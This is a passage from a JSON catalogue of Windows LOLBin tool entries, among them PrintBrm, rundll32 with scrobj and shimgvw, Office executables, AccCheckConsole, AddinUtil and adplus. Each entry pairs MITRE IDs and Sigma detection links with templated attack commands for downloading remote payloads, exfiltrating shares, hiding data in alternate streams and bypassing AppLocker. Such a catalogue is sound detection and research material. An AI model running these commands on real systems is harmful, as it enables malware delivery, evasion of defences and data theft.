          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Printer Migration Command-Line Tool Located at: C:\\Windows\\System32\\spool\\tools\\PrintBrm.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml"
      },
      {
        "type": "ioc",
        "description": "PrintBrm.exe should not be run on a normal workstation"
      }
    ],
    "examples": [
      {
        "description": "Create a ZIP file from a folder in a remote drive (Exfiltrate the contents of a remote folder on a UNC share into a zip file)",
        "command": "PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}"
      },
      {
        "description": "Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder (Decompress and extract a ZIP file stored on an alternate data stream to a new folder)",
        "command": "PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}"
      }
    ],
    "execution": {
      "template": "printbrm",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-download-printbrm",
    "install": [
      {
        "method": "choco",
        "package_name": "printbrm",
        "commands": [
          "choco install printbrm"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1564.004"
    ],
    "name": "printbrm",
    "namespace": "windows:download:printbrm",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1404117015447670800",
        "url": "https://twitter.com/elliotkillick/status/1404117015447670800"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# protocolhandler\n\nprotocolhandler is a Windows LOLBin. Microsoft Office binary Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\ProtocolHandler.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\ProtocolHandler.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\ProtocolHandler.exe.\n",
    "_source": "protocolhandler.md",
    "allowed-tools": [
      "protocolhandler"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nir Chako",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Office binary Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\ProtocolHandler.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\ProtocolHandler.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\ProtocolHandler.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious Office application Internet/network traffic"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction))",
        "command": "ProtocolHandler.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "protocolhandler",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-protocolhandler",
    "install": [
      {
        "method": "choco",
        "package_name": "protocolhandler",
        "commands": [
          "choco install protocolhandler"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "protocolhandler",
    "namespace": "windows:download:protocolhandler",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# replace\n\nreplace is a Windows LOLBin. Used to replace file with another file Located at: C:\\Windows\\System32\\replace.exe; C:\\Windows\\SysWOW64\\replace.exe.\n",
    "_source": "replace.md",
    "allowed-tools": [
      "replace"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.copy",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to replace file with another file Located at: C:\\Windows\\System32\\replace.exe; C:\\Windows\\SysWOW64\\replace.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Replace.exe retrieving files from remote server"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml"
      }
    ],
    "examples": [
      {
        "description": "Copy .cab file to destination (Copy files)",
        "command": "replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A"
      },
      {
        "description": "Download/Copy executable to specified folder (Download file)",
        "command": "replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A"
      }
    ],
    "execution": {
      "template": "replace",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-replace",
    "install": [
      {
        "method": "choco",
        "package_name": "replace",
        "commands": [
          "choco install replace"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "replace",
    "namespace": "windows:download:replace",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "986334113941655553",
        "url": "https://twitter.com/elceef/status/986334113941655553"
      },
      {
        "label": "986842299861782529",
        "url": "https://twitter.com/elceef/status/986842299861782529"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# scrobj\n\nscrobj is a Windows LOLBin. Windows Script Component Runtime Located at: c:\\windows\\system32\\scrobj.dll; c:\\windows\\syswow64\\scrobj.dll.\n",
    "_source": "scrobj.md",
    "allowed-tools": [
      "scrobj"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Eral4m",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Script Component Runtime Located at: c:\\windows\\system32\\scrobj.dll; c:\\windows\\syswow64\\scrobj.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "ioc",
        "description": "Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line"
      }
    ],
    "examples": [
      {
        "description": "Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache. (Download file from remote location.)",
        "command": "rundll32.exe C:\\Windows\\System32\\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}"
      }
    ],
    "execution": {
      "template": "scrobj",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-download-scrobj",
    "install": [
      {
        "method": "choco",
        "package_name": "scrobj",
        "commands": [
          "choco install scrobj"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "scrobj",
    "namespace": "windows:download:scrobj",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1479106975967240209",
        "url": "https://twitter.com/eral4m/status/1479106975967240209"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# shimgvw\n\nshimgvw is a Windows LOLBin. Photo Gallery Viewer Located at: c:\\windows\\system32\\shimgvw.dll; c:\\windows\\syswow64\\shimgvw.dll.\n",
    "_source": "shimgvw.md",
    "allowed-tools": [
      "shimgvw"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Eral4m",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Photo Gallery Viewer Located at: c:\\windows\\system32\\shimgvw.dll; c:\\windows\\syswow64\\shimgvw.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "ioc",
        "description": "Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line"
      }
    ],
    "examples": [
      {
        "description": "Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'. (Download file from remote location.)",
        "command": "rundll32.exe c:\\Windows\\System32\\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}"
      }
    ],
    "execution": {
      "template": "shimgvw",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-shimgvw",
    "install": [
      {
        "method": "choco",
        "package_name": "shimgvw",
        "commands": [
          "choco install shimgvw"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "shimgvw",
    "namespace": "windows:download:shimgvw",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1479080793003671557",
        "url": "https://twitter.com/eral4m/status/1479080793003671557"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# visio\n\nvisio is a Windows LOLBin. Microsoft Visio Executable Located at: C:\\Program Files (x86)\\Microsoft Office\\Office14\\Visio.exe; C:\\Program Files\\Microsoft Office\\Office14\\Visio.exe; C:\\Program Files (x86)\\Microsoft Office\\Office15\\Visio.exe.\n",
    "_source": "visio.md",
    "allowed-tools": [
      "visio"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Visio Executable Located at: C:\\Program Files (x86)\\Microsoft Office\\Office14\\Visio.exe; C:\\Program Files\\Microsoft Office\\Office14\\Visio.exe; C:\\Program Files (x86)\\Microsoft Office\\Office15\\Visio.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "URL on a visio.exe command line"
      },
      {
        "type": "ioc",
        "description": "visio.exe making unexpected network connections or DNS requests"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "Visio.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "visio",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-visio",
    "install": [
      {
        "method": "choco",
        "package_name": "visio",
        "commands": [
          "choco install visio"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "visio",
    "namespace": "windows:download:visio",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# winproj\n\nwinproj is a Windows LOLBin. Microsoft Project Executable Located at: C:\\Program Files (x86)\\Microsoft Office\\Office14\\WinProj.exe; C:\\Program Files\\Microsoft Office\\Office14\\WinProj.exe; C:\\Program Files (x86)\\Microsoft Office\\Office15\\WinProj.exe.\n",
    "_source": "winproj.md",
    "allowed-tools": [
      "winproj"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Project Executable Located at: C:\\Program Files (x86)\\Microsoft Office\\Office14\\WinProj.exe; C:\\Program Files\\Microsoft Office\\Office14\\WinProj.exe; C:\\Program Files (x86)\\Microsoft Office\\Office15\\WinProj.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "URL on a WinProj command line"
      },
      {
        "type": "ioc",
        "description": "WinProj making unexpected network connections or DNS requests"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "WinProj.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "winproj",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-winproj",
    "install": [
      {
        "method": "choco",
        "package_name": "winproj",
        "commands": [
          "choco install winproj"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "winproj",
    "namespace": "windows:download:winproj",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# winword\n\nwinword is a Windows LOLBin. Microsoft Office binary Located at: C:\\Program Files\\Microsoft Office\\root\\Office16\\winword.exe; C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\winword.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\winword.exe.\n",
    "_source": "winword.md",
    "allowed-tools": [
      "winword"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Reegun J (OCBC Bank)",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Office binary Located at: C:\\Program Files\\Microsoft Office\\root\\Office16\\winword.exe; C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\winword.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\winword.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious Office application Internet/network traffic"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "winword.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "winword",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-winword",
    "install": [
      {
        "method": "choco",
        "package_name": "winword",
        "commands": [
          "choco install winword"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "winword",
    "namespace": "windows:download:winword",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1150032506504151040",
        "url": "https://twitter.com/reegun21/status/1150032506504151040"
      },
      {
        "label": "unsanitized-file-validation-leads-to-malicious-pay",
        "url": "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xsd\n\nxsd is a Windows LOLBin. XML Schema Definition Tool included with the Windows Software Development Kit (SDK). Located at: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\bin\\NETFX <version> Tools\\xsd.exe.\n",
    "_source": "xsd.md",
    "allowed-tools": [
      "xsd"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "XML Schema Definition Tool included with the Windows Software Development Kit (SDK). Located at: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\bin\\NETFX <version> Tools\\xsd.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "URL on a xsd.exe command line"
      },
      {
        "type": "ioc",
        "description": "xsd.exe making unexpected network connections or DNS requests"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache)",
        "command": "xsd.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "xsd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-xsd",
    "install": [
      {
        "method": "choco",
        "package_name": "xsd",
        "commands": [
          "choco install xsd"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "xsd",
    "namespace": "windows:download:xsd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# acccheckconsole\n\nacccheckconsole is a Windows LOLBin. Verifies UI accessibility requirements Located at: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x86\\AccChecker\\AccCheckConsole.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x64\\AccChecker\\AccCheckConsole.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\arm\\AccChecker\\AccCheckConsole.exe.\n",
    "_source": "acccheckconsole.md",
    "allowed-tools": [
      "acccheckconsole"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "bohops",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Verifies UI accessibility requirements Located at: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x86\\AccChecker\\AccCheckConsole.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x64\\AccChecker\\AccCheckConsole.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\arm\\AccChecker\\AccCheckConsole.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml"
      },
      {
        "type": "ioc",
        "description": "Sysmon Event ID 1 - Process Creation"
      },
      {
        "type": "other",
        "url": "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340"
      }
    ],
    "examples": [
      {
        "description": "Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name. (Local execution of managed code from assembly DLL.)",
        "command": "AccCheckConsole.exe -window \"Untitled - Notepad\" {PATH_ABSOLUTE:.dll}"
      },
      {
        "description": "Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name. (Local execution of managed code to bypass AppLocker.)",
        "command": "AccCheckConsole.exe -window \"Untitled - Notepad\" {PATH_ABSOLUTE:.dll}"
      }
    ],
    "execution": {
      "template": "acccheckconsole",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-acccheckconsole",
    "install": [
      {
        "method": "choco",
        "package_name": "acccheckconsole",
        "commands": [
          "choco install acccheckconsole"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "acccheckconsole",
    "namespace": "windows:execution:acccheckconsole",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "2444129419c8acf837aedda5f0e7f340",
        "url": "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340"
      },
      {
        "label": "1477717351017680899",
        "url": "https://twitter.com/bohops/status/1477717351017680899"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# addinutil\n\naddinutil is a Windows LOLBin. .NET Tool used for updating cache files for Microsoft Office Add-Ins. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddinUtil.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddinUtil.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe.\n",
    "_source": "addinutil.md",
    "allowed-tools": [
      "addinutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Michael McKinley @MckinleyMike",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": ".NET Tool used for updating cache files for Microsoft Office Add-Ins. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddinUtil.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddinUtil.exe; C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_child_process.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml"
      }
    ],
    "examples": [
      {
        "description": "AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload. (Proxy execution of malicious serialized payload)",
        "command": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddinUtil.exe -AddinRoot:."
      }
    ],
    "execution": {
      "template": "addinutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-addinutil",
    "install": [
      {
        "method": "choco",
        "package_name": "addinutil",
        "commands": [
          "choco install addinutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "addinutil",
    "namespace": "windows:execution:addinutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "addinutil-lolbas.html",
        "url": "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# adplus\n\nadplus is a Windows LOLBin. Debugging tool included with Windows Debugging Tools Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\adplus.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\adplus.exe.\n",
    "_source": "adplus.md",
    "allowed-tools": [
      "adplus"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "credential.dump",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Debugging tool included with Windows Debugging Tools Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\adplus.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\adplus.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml"
      },
